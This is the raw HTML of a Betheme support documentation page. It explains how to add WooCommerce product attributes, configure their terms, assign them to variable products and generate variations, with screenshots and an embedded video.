href="https://support.muffingroup.com/documentation/woocommerce/how-to-use-woocommerce-attribute-swatches/" /> <link rel='shortlink' href='https://support.muffingroup.com/?p=2156' /> <link rel="alternate" type="application/json+oembed" href="https://support.muffingroup.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fsupport.muffingroup.com%2Fdocumentation%2Fwoocommerce%2Fhow-to-use-woocommerce-attribute-swatches%2F" /> <link rel="alternate" type="text/xml+oembed" href="https://support.muffingroup.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fsupport.muffingroup.com%2Fdocumentation%2Fwoocommerce%2Fhow-to-use-woocommerce-attribute-swatches%2F&format=xml" /> <noscript><style id="rocket-lazyload-nojs-css">.rll-youtube-player, [data-lazy-src]{display:none !important;}</style></noscript> </head> <body class="page-template-default page page-id-2156 page-child parent-pageid-2139 is-docu with_aside aside_left color-custom style-default button-custom layout-full-width if-disable if-border-hide hide-love no-shadows header-transparent sticky-header sticky-dark ab-show subheader-both-left menu-link-color menuo-right logo-no-margin footer-copy-center mobile-tb-hide mobile-side-slide mobile-mini-mr-ll mobile-tr-header be-reg-2402">  <div id="Wrapper"> <div id="Header_wrapper" class="" > <header id="Header"> <div id="Action_bar"> <div class="container"> <div class="column one"> <ul class="contact_details"> <li class="betheme-version"><a href="/changelog/" target="_blank">What's new in <strong>27.5.13</strong> version?</a></li>  </ul>  <ul class="social"></ul> </div> </div> </div> <div class="header_placeholder"></div> <div id="Top_bar" class="loading"> <div class="container"> <div class="column one"> <div class="top_bar_left clearfix"> <div class="logo"><a id="logo" href="https://support.muffingroup.com" title="Betheme Support Center" data-height="60" data-padding="15"><img class="logo-main scale-with-grid svg" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20200%200'%3E%3C/svg%3E" data-retina="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-height="" alt="besvg" width="200" data-no-retina data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg"/><noscript><img class="logo-main scale-with-grid svg" src="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-retina="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-height="" alt="besvg" width="200" data-no-retina/></noscript><img class="logo-sticky scale-with-grid svg" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20200%200'%3E%3C/svg%3E" data-retina="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-height="" alt="besvg" width="200" data-no-retina data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg"/><noscript><img class="logo-sticky scale-with-grid svg" src="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-retina="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-height="" alt="besvg" width="200" data-no-retina/></noscript><img class="logo-mobile scale-with-grid svg" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20200%200'%3E%3C/svg%3E" data-retina="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-height="" alt="besvg" width="200" data-no-retina data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg"/><noscript><img class="logo-mobile scale-with-grid svg" src="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-retina="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-height="" alt="besvg" width="200" data-no-retina/></noscript><img class="logo-mobile-sticky scale-with-grid svg" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20200%200'%3E%3C/svg%3E" data-retina="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-height="" alt="besvg" width="200" data-no-retina data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg"/><noscript><img class="logo-mobile-sticky scale-with-grid svg" src="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-retina="https://support.muffingroup.com/wp-content/uploads/2020/08/besvg.svg" data-height="" alt="besvg" width="200" data-no-retina/></noscript></a></div> <div class="menu_wrapper"> <nav id="menu"><ul id="menu-menu-1" class="menu menu-main"><li id="menu-item-1412" class="menu-item menu-item-type-custom menu-item-object-custom"><a href="/"><span>Home</span></a></li> <li id="menu-item-1417" class="menu-item menu-item-type-custom menu-item-object-custom"><a href="/faq/"><span>FAQs</span></a></li> <li id="menu-item-1411" class="menu-item menu-item-type-custom menu-item-object-custom"><a href="https://support.muffingroup.com/documentation/"><span>Documentation</span></a></li> <li id="menu-item-1606" class="menu-item menu-item-type-custom menu-item-object-custom"><a href="/how-to/"><span>How to</span></a></li> <li id="menu-item-2082" class="menu-item menu-item-type-custom menu-item-object-custom"><a href="https://support.muffingroup.com/video-tutorials/"><span>Video Tutorials</span></a></li> </ul></nav><a class="responsive-menu-toggle " href="#"><i class="icon-menu-fine"></i></a> </div> <div class="secondary_menu_wrapper"> <nav id="secondary-menu" class="menu-left-sidebar-menu-container"><ul id="menu-left-sidebar-menu" class="secondary-menu"><li id="menu-item-51" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-51"><a href="https://support.muffingroup.com/documentation/introduction/">Introduction</a> <ul class="sub-menu"> <li id="menu-item-91" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-91"><a href="https://support.muffingroup.com/documentation/introduction/">BeTheme</a></li> </ul> </li> <li id="menu-item-52" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-52"><a href="#">Getting started</a> <ul class="sub-menu"> <li id="menu-item-100" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-100"><a href="https://support.muffingroup.com/documentation/installation-updates/">Installation & Updates</a></li> <li id="menu-item-99" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-99"><a href="https://support.muffingroup.com/documentation/pre-built-websites/">Pre-built websites</a></li> <li id="menu-item-98" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-98"><a href="https://support.muffingroup.com/documentation/bundled-plugins/">Bundled plugins</a></li> <li id="menu-item-1694" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1694"><a href="https://support.muffingroup.com/documentation/theme-license/">Theme License</a></li> </ul> </li> <li id="menu-item-53" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-53"><a href="#">Pages</a> <ul class="sub-menu"> <li id="menu-item-321" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-321"><a href="https://support.muffingroup.com/documentation/page-creation/">Page creation</a></li> <li id="menu-item-320" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-320"><a href="https://support.muffingroup.com/documentation/page-options/">Page Options</a></li> </ul> </li> <li id="menu-item-54" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-54"><a href="#">Theme options</a> <ul class="sub-menu"> <li id="menu-item-384" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-384"><a href="https://support.muffingroup.com/documentation/theme-options-global/">Global</a></li> <li id="menu-item-385" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-385"><a href="https://support.muffingroup.com/documentation/theme-options-header-subheader/">Header & Subheader</a></li> <li id="menu-item-386" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-386"><a href="https://support.muffingroup.com/documentation/theme-options-menu-action-bar/">Menu & Action bar</a></li> <li id="menu-item-387" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-387"><a href="https://support.muffingroup.com/documentation/theme-options-sidebars/">Sidebars</a></li> <li id="menu-item-388" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-388"><a href="https://support.muffingroup.com/documentation/theme-options-blog-portfolio/">Blog & Portfolio</a></li> <li id="menu-item-2589" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2589"><a href="https://support.muffingroup.com/documentation/theme-options-shop/">Shop</a></li> <li id="menu-item-389" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-389"><a href="https://support.muffingroup.com/documentation/theme-options-pages/">Pages</a></li> <li id="menu-item-383" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-383"><a href="https://support.muffingroup.com/documentation/theme-options-footer/">Footer</a></li> <li id="menu-item-2597" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2597"><a href="https://support.muffingroup.com/documentation/search/">Search</a></li> <li id="menu-item-382" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-382"><a href="https://support.muffingroup.com/documentation/theme-options-responsive/">Responsive</a></li> <li id="menu-item-381" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-381"><a href="https://support.muffingroup.com/documentation/theme-options-seo/">SEO</a></li> <li id="menu-item-380" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-380"><a href="https://support.muffingroup.com/documentation/theme-options-social/">Social</a></li> <li id="menu-item-379" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-379"><a href="https://support.muffingroup.com/documentation/theme-options-addons-plugins/">Addons & Plugins</a></li> <li id="menu-item-378" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-378"><a href="https://support.muffingroup.com/documentation/theme-options-colors/">Colors</a></li> <li id="menu-item-377" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-377"><a href="https://support.muffingroup.com/documentation/theme-options-fonts/">Fonts</a></li> <li id="menu-item-376" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-376"><a href="https://support.muffingroup.com/documentation/theme-options-translate/">Translate</a></li> <li id="menu-item-2610" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2610"><a href="https://support.muffingroup.com/documentation/gdpr-cookies/">GDPR & Cookies</a></li> <li id="menu-item-2613" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2613"><a href="https://support.muffingroup.com/documentation/performance/">Performance</a></li> <li id="menu-item-2616" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2616"><a href="https://support.muffingroup.com/documentation/accessibility/">Accessibility</a></li> <li id="menu-item-375" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-375"><a href="https://support.muffingroup.com/documentation/theme-options-custom-css-js/">Custom CSS & JS</a></li> <li id="menu-item-374" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-374"><a href="https://support.muffingroup.com/documentation/theme-options-backup-reset/">Backup & Reset</a></li> </ul> </li> <li id="menu-item-2090" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-2090"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/">BeBuilder Blocks</a> <ul class="sub-menu"> <li id="menu-item-2095" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2095"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/an-overview/">An overview</a></li> <li id="menu-item-2101" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2101"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/how-to-use/">How to use</a></li> <li id="menu-item-2106" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2106"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/pre-built-sections/">Pre-built sections</a></li> <li id="menu-item-2112" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2112"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/revisions-backups/">Revisions & Backups</a></li> <li id="menu-item-628" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-628"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/shortcodes/">Shortcodes</a></li> <li id="menu-item-627" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-627"><a href="https://support.muffingroup.com/documentation/bebuilder-blocks/sections/">Sections & Wraps</a></li> </ul> </li> <li id="menu-item-2125" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-2125"><a href="https://support.muffingroup.com/documentation/bebuilder/">BeBuilder</a> <ul class="sub-menu"> <li id="menu-item-2126" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2126"><a href="https://support.muffingroup.com/documentation/bebuilder/an-overview/">An overview</a></li> <li id="menu-item-2132" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2132"><a href="https://support.muffingroup.com/documentation/bebuilder/how-to-use/">How to use</a></li> <li id="menu-item-2176" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2176"><a href="https://support.muffingroup.com/documentation/bebuilder/pre-built-sections/">Pre-built sections</a></li> <li id="menu-item-2179" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2179"><a href="https://support.muffingroup.com/documentation/bebuilder/revisions-backups/">Revisions & Backups</a></li> <li id="menu-item-2294" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2294"><a href="https://support.muffingroup.com/documentation/bebuilder/positioning/">Positioning</a></li> <li id="menu-item-2320" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2320"><a href="https://support.muffingroup.com/documentation/bebuilder/responsive-editing/">Responsive editing</a></li> </ul> </li> <li id="menu-item-785" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-785"><a href="#">Blog</a> <ul class="sub-menu"> <li id="menu-item-787" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-787"><a href="https://support.muffingroup.com/documentation/blog-creation/">Creation</a></li> <li id="menu-item-791" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-791"><a href="https://support.muffingroup.com/documentation/single-post-options/">Post Options</a></li> </ul> </li> <li id="menu-item-85" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-85"><a href="#">Portfolio</a> <ul class="sub-menu"> <li id="menu-item-870" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-870"><a href="https://support.muffingroup.com/documentation/portfolio-creation/">Creation</a></li> <li id="menu-item-869" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-869"><a href="https://support.muffingroup.com/documentation/single-portfolio-options/">Portfolio page options</a></li> </ul> </li> <li id="menu-item-2141" class="menu-item menu-item-type-post_type menu-item-object-page current-page-ancestor current-menu-ancestor current-menu-parent current-page-parent current_page_parent current_page_ancestor menu-item-has-children menu-item-2141"><a href="https://support.muffingroup.com/documentation/woocommerce/">WooCommerce</a> <ul class="sub-menu"> <li id="menu-item-2149" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2149"><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-use-woocommerce-with-betheme/">How to use WooCommerce</a></li> <li id="menu-item-2185" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-2156 current_page_item menu-item-2185"><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-use-woocommerce-attribute-swatches/" aria-current="page">How to use WooCommerce Attribute Swatches</a></li> <li id="menu-item-2200" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2200"><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-create-a-shop-page/">How to create a Shop page?</a></li> <li id="menu-item-2201" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2201"><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-create-a-single-product-layout/">How to create a Single Product layout?</a></li> <li id="menu-item-2211" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2211"><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-set-sidebar/">How to set sidebar for Shop or Single Product?</a></li> <li id="menu-item-2184" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2184"><a href="https://support.muffingroup.com/documentation/woocommerce/wishlist/">Wishlist</a></li> <li id="menu-item-2186" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2186"><a href="https://support.muffingroup.com/documentation/woocommerce/templates/">Templates</a></li> </ul> </li> <li id="menu-item-88" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-88"><a href="#">Footer & Sidebars</a> <ul class="sub-menu"> <li id="menu-item-927" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-927"><a href="https://support.muffingroup.com/documentation/footer/">Footer</a></li> <li id="menu-item-966" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-966"><a href="https://support.muffingroup.com/documentation/sidebars/">Sidebars</a></li> </ul> </li> <li id="menu-item-83" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-83"><a href="#">Custom post types</a> <ul class="sub-menu"> <li id="menu-item-997" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-997"><a href="https://support.muffingroup.com/documentation/clients/">Clients</a></li> <li id="menu-item-996" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-996"><a href="https://support.muffingroup.com/documentation/offer/">Offer</a></li> <li id="menu-item-995" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-995"><a href="https://support.muffingroup.com/documentation/slides/">Slides</a></li> <li id="menu-item-994" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-994"><a href="https://support.muffingroup.com/documentation/testimonials/">Testimonials</a></li> <li id="menu-item-1296" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1296"><a href="https://support.muffingroup.com/documentation/templates/">Templates</a></li> <li id="menu-item-1292" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1292"><a href="https://support.muffingroup.com/documentation/layouts/">Layouts</a></li> </ul> </li> <li id="menu-item-87" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-87"><a href="#">Translation & WPML</a> <ul class="sub-menu"> <li id="menu-item-1000" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1000"><a href="https://support.muffingroup.com/documentation/translation/">Translation</a></li> </ul> </li> <li id="menu-item-89" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-89"><a href="#">Menus</a> <ul class="sub-menu"> <li id="menu-item-339" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-339"><a href="https://support.muffingroup.com/documentation/menus/">Menus</a></li> <li id="menu-item-1017" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1017"><a href="https://support.muffingroup.com/documentation/mega-menu/">Mega Menu</a></li> </ul> </li> <li id="menu-item-90" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-90"><a href="#">Extras</a> <ul class="sub-menu"> <li id="menu-item-1014" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1014"><a href="https://support.muffingroup.com/documentation/header-builder/">Header Builder</a></li> <li id="menu-item-1071" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1071"><a href="https://support.muffingroup.com/documentation/supported-plugins/">Supported Plugins</a></li> <li id="menu-item-1083" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1083"><a href="https://support.muffingroup.com/documentation/static-css/">Static CSS</a></li> <li id="menu-item-1041" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1041"><a href="https://support.muffingroup.com/documentation/white-label/">White Label</a></li> </ul> </li> </ul></nav> </div> <div class="banner_wrapper"> </div> <div class="search_wrapper"> <form method="get" id="searchform" action="https://support.muffingroup.com/"> <i class="icon_search icon-search-fine"></i> <a href="#" class="icon_close"><i class="icon-cancel-fine"></i></a> <input type="text" class="field" name="s" placeholder="What would you like to know?" /> <input type="submit" class="display-none" value="" /> </form> </div> </div> <div class="top_bar_right"><div class="top_bar_right_wrapper"><a href="https://1.envato.market/DENky" class="action_button" rel="nofollow" target="_blank">Try it now</a></div></div> </div> </div> </div> </header> <div id="Subheader"><div class="container"><div class="column one"> <h2 class="title">Documentation</h2> <ul class="breadcrumbs no-link"><li><a href="https://support.muffingroup.com">Home</a> <span><i class="icon-right-open"></i></span></li><li><a href="https://support.muffingroup.com/documentation/">Documentation</a> <span><i class="icon-right-open"></i></span></li><li><a href="https://support.muffingroup.com/documentation/woocommerce/">WooCommerce</a> <span><i class="icon-right-open"></i></span></li><li><a href="https://support.muffingroup.com/documentation/woocommerce/how-to-use-woocommerce-attribute-swatches/">How to use WooCommerce Attribute Swatches</a></li></ul></div></div></div> </div>  <div id="Content"> <div class="content_wrapper clearfix"> <div class="sections_group"> <div class="entry-content" itemprop="mainContentOfPage"> <h1 class="big-heading">How to use WooCommerce Attribute Swatches</h1> <div class="mfn-builder-content"><div class="section mcb-section mcb-section-392349ced" style="" ><div class="section_wrapper mcb-section-inner"><div class="wrap mcb-wrap mcb-wrap-8o81ohr1u one valign-top clearfix" style="" ><div class="mcb-wrap-inner"><div class="column mcb-column mcb-item-ml2h45md1 one column_video"><div class="content_video iframe auto-wh"><iframe loading="lazy" class="scale-with-grid" width="" height="" src="about:blank" allowfullscreen data-rocket-lazyload="fitvidscompatible" data-lazy-src="https://www.youtube.com/embed/oTga3hjASbM?wmode=opaque"></iframe><noscript><iframe class="scale-with-grid" width="" height="" src="https://www.youtube.com/embed/oTga3hjASbM?wmode=opaque" allowfullscreen></iframe></noscript> </div> </div><div class="column mcb-column mcb-item-2dawvytkc one column_column"><div class="column_attr clearfix" style="">With the Betheme V25, you can create custom attribute swatches for products like colors, buttons or even images. Below, in a few steps, we will try to explain the process of adding your own attributes as simply as possible.</div></div><div class="column mcb-column mcb-item-dsd3c6a2q one column_column"><div class="column_attr clearfix" style=""><h3 id="adding-attributes" class="small-heading">Adding Attributes</h3> To add custom attributes, please navigate to <i>Products > Attributes</i></div></div><div class="column mcb-column mcb-item-hcbuxiwuo one column_image"><div class="image_frame image_item scale-with-grid no_border" ><div class="image_wrapper"><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/products-attributes-list.png" rel="prettyphoto" ><div class="mask"></div><img class="scale-with-grid" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%201240%20511'%3E%3C/svg%3E" alt="products attributes list" title="" width="1240" height="511" data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2021/08/products-attributes-list.png"/><noscript><img class="scale-with-grid" src="https://support.muffingroup.com/wp-content/uploads/2021/08/products-attributes-list.png" alt="products attributes list" title="" width="1240" height="511"/></noscript></a><div class="image_links "><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/products-attributes-list.png" class="zoom" rel="prettyphoto"><i class="icon-search"></i></a></div></div></div> </div><div class="column mcb-column mcb-item-ctcsjpq11 one column_column"><div class="column_attr clearfix" style="">On the left side, you have an option to add new attributes but on the right, the list of already existing ones. All you have to do to add new attribute is to populate fields like <i>Name</i> or <i>Slug</i> and click <b>Add attribute</b> button.</div></div><div class="column mcb-column mcb-item-eh8ahjq4a one column_column"><div class="column_attr clearfix" style=""><h3 id="adding-terms-to-an-attribute" class="small-heading">Adding Terms to an Attribute</h3> Once, you have added new Attribute, you can add Terms to that Attribute. To do this, click <b>Configure Terms</b> button next to the specific Attribute.</div></div><div class="column mcb-column mcb-item-32o9vti8j one column_image"><div class="image_frame image_item scale-with-grid no_border" ><div class="image_wrapper"><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/adding-term-to-an-attribute.png" rel="prettyphoto" ><div class="mask"></div><img class="scale-with-grid" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%201240%20696'%3E%3C/svg%3E" alt="adding-term-to-an-attribute" title="" width="1240" height="696" data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2021/08/adding-term-to-an-attribute.png"/><noscript><img class="scale-with-grid" src="https://support.muffingroup.com/wp-content/uploads/2021/08/adding-term-to-an-attribute.png" alt="adding-term-to-an-attribute" title="" width="1240" height="696"/></noscript></a><div class="image_links "><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/adding-term-to-an-attribute.png" class="zoom" rel="prettyphoto"><i class="icon-search"></i></a></div></div></div> </div><div class="column mcb-column mcb-item-d31j1eho4 one column_column"><div class="column_attr clearfix" style="">As in the case of adding an Attribute, on the left we have the option of adding new Terms, while on the right is a list of them.</div></div><div class="column mcb-column mcb-item-q3v1wec1v one column_column"><div class="column_attr clearfix" style=""><h3 id="adding-attributes-to-product" class="small-heading">Adding Attributes to Product</h3> Once, you have added added Attributes and configured its Terms, you can assign them to individual products. This can be done from the edit / add product level. From the dropdown list of product data, please select <i>Variable Product</i>.</div></div><div class="column mcb-column mcb-item-qn1b44a8s one column_image"><div class="image_frame image_item scale-with-grid no_border" ><div class="image_wrapper"><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/adding-attributes-to-product.png" rel="prettyphoto" ><div class="mask"></div><img class="scale-with-grid" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%201240%20774'%3E%3C/svg%3E" alt="adding attributes to product" title="" width="1240" height="774" data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2021/08/adding-attributes-to-product.png"/><noscript><img class="scale-with-grid" src="https://support.muffingroup.com/wp-content/uploads/2021/08/adding-attributes-to-product.png" alt="adding attributes to product" title="" width="1240" height="774"/></noscript></a><div class="image_links "><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/adding-attributes-to-product.png" class="zoom" rel="prettyphoto"><i class="icon-search"></i></a></div></div></div> </div><div class="column mcb-column mcb-item-8k4unaqop one column_column"><div class="column_attr clearfix" style="">In the next step, you can select attributes from the list for that specific product you are working on and click <i>Add</i> button. The attributes available in the select are the same ones that were created above.</div></div><div class="column mcb-column mcb-item-6g0qx7t8w one column_image"><div class="image_frame image_item scale-with-grid no_border" ><div class="image_wrapper"><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/select-attribute-for-product.png" rel="prettyphoto" ><div class="mask"></div><img class="scale-with-grid" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%201240%20567'%3E%3C/svg%3E" alt="select attribute for product" title="" width="1240" height="567" data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2021/08/select-attribute-for-product.png"/><noscript><img class="scale-with-grid" src="https://support.muffingroup.com/wp-content/uploads/2021/08/select-attribute-for-product.png" alt="select attribute for product" title="" width="1240" height="567"/></noscript></a><div class="image_links "><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/select-attribute-for-product.png" class="zoom" rel="prettyphoto"><i class="icon-search"></i></a></div></div></div> </div><div class="column mcb-column mcb-item-y2vcbushf one column_column"><div class="column_attr clearfix" style="">Finally, you can set specific values for different attributes. Of course, you can add various attributes for the same product.</div></div><div class="column mcb-column mcb-item-ffh6b18z4 one column_image"><div class="image_frame image_item scale-with-grid no_border" ><div class="image_wrapper"><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/set-values-for-product-attributes.png" rel="prettyphoto" ><div class="mask"></div><img class="scale-with-grid" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%201240%20656'%3E%3C/svg%3E" alt="set values for product attributes" title="" width="1240" height="656" data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2021/08/set-values-for-product-attributes.png"/><noscript><img class="scale-with-grid" src="https://support.muffingroup.com/wp-content/uploads/2021/08/set-values-for-product-attributes.png" alt="set values for product attributes" title="" width="1240" height="656"/></noscript></a><div class="image_links "><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/set-values-for-product-attributes.png" class="zoom" rel="prettyphoto"><i class="icon-search"></i></a></div></div></div> </div><div class="column mcb-column mcb-item-0cahgk5cm one column_column"><div class="column_attr clearfix" style=""><h3 id="adding-product-variations" class="small-heading">Adding Product Variations</h3> Once you have added added custom product attributes, you can finally create variations of products. To do that, please choose <i>Variations</i> tab on the list. There is two ways to populate product with variations: <ul> <li>Create variations from all attributes automatically</li> <li>Add variations manually one by one</li> </ul></div></div><div class="column mcb-column mcb-item-i7nhs9qg3 one column_image"><div class="image_frame image_item scale-with-grid no_border" ><div class="image_wrapper"><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/variations-from-attributes.png" rel="prettyphoto" ><div class="mask"></div><img class="scale-with-grid" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%201240%20564'%3E%3C/svg%3E" alt="variations from attributes" title="" width="1240" height="564" data-lazy-src="https://support.muffingroup.com/wp-content/uploads/2021/08/variations-from-attributes.png"/><noscript><img class="scale-with-grid" src="https://support.muffingroup.com/wp-content/uploads/2021/08/variations-from-attributes.png" alt="variations from attributes" title="" width="1240" height="564"/></noscript></a><div class="image_links "><a href="https://support.muffingroup.com/wp-content/uploads/2021/08/variations-from-attributes.png" class="zoom" rel="prettyphoto"><i class="icon-search"></i></a></div></div></div> </div></div></div></div></div></div><div class="section the_content no_content"><div class="section_wrapper"><div class="the_content_wrapper "></div></div></div> <div class="section section-page-footer"> <div class="section_wrapper clearfix"> <div class="column one page-pager"> </div> </div> </div> </div> </div> <div class="mcb-sidebar sidebar sidebar-1 four columns "><div class="widget-area"><div class="inner-wrapper-sticky clearfix"><aside id="widget_mfn_menu-2" class="widget widget_mfn_menu"><div class="menu-left-sidebar-menu-container"><ul id="menu-left-sidebar-menu-1" class="menu submenus-click"><li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-51"><a href="https://support.muffingroup.com/documentation/introduction/">Introduction</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-91"><a href="https://support.muffingroup.com/documentation/introduction/">BeTheme</a></li> </ul> </li> <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-52"><a href="#">Getting started</a> <ul class="sub-menu"> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-100"><a href="https://support.muffingroup.com/documentation/installation-updates/">Installation & Updates</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-99"><a href="https://support.muffingroup.com/documentation/pre-built-websites/">Pre-built websites</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-98"><a href="https://support.muffingroup.com/documentation/bundled-plugins/">Bundled plugins</a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1694"><a href="https://support.muffingroup.com/documentation/theme-license/">Theme License</a></li> </ul> </li> <li class="menu-item 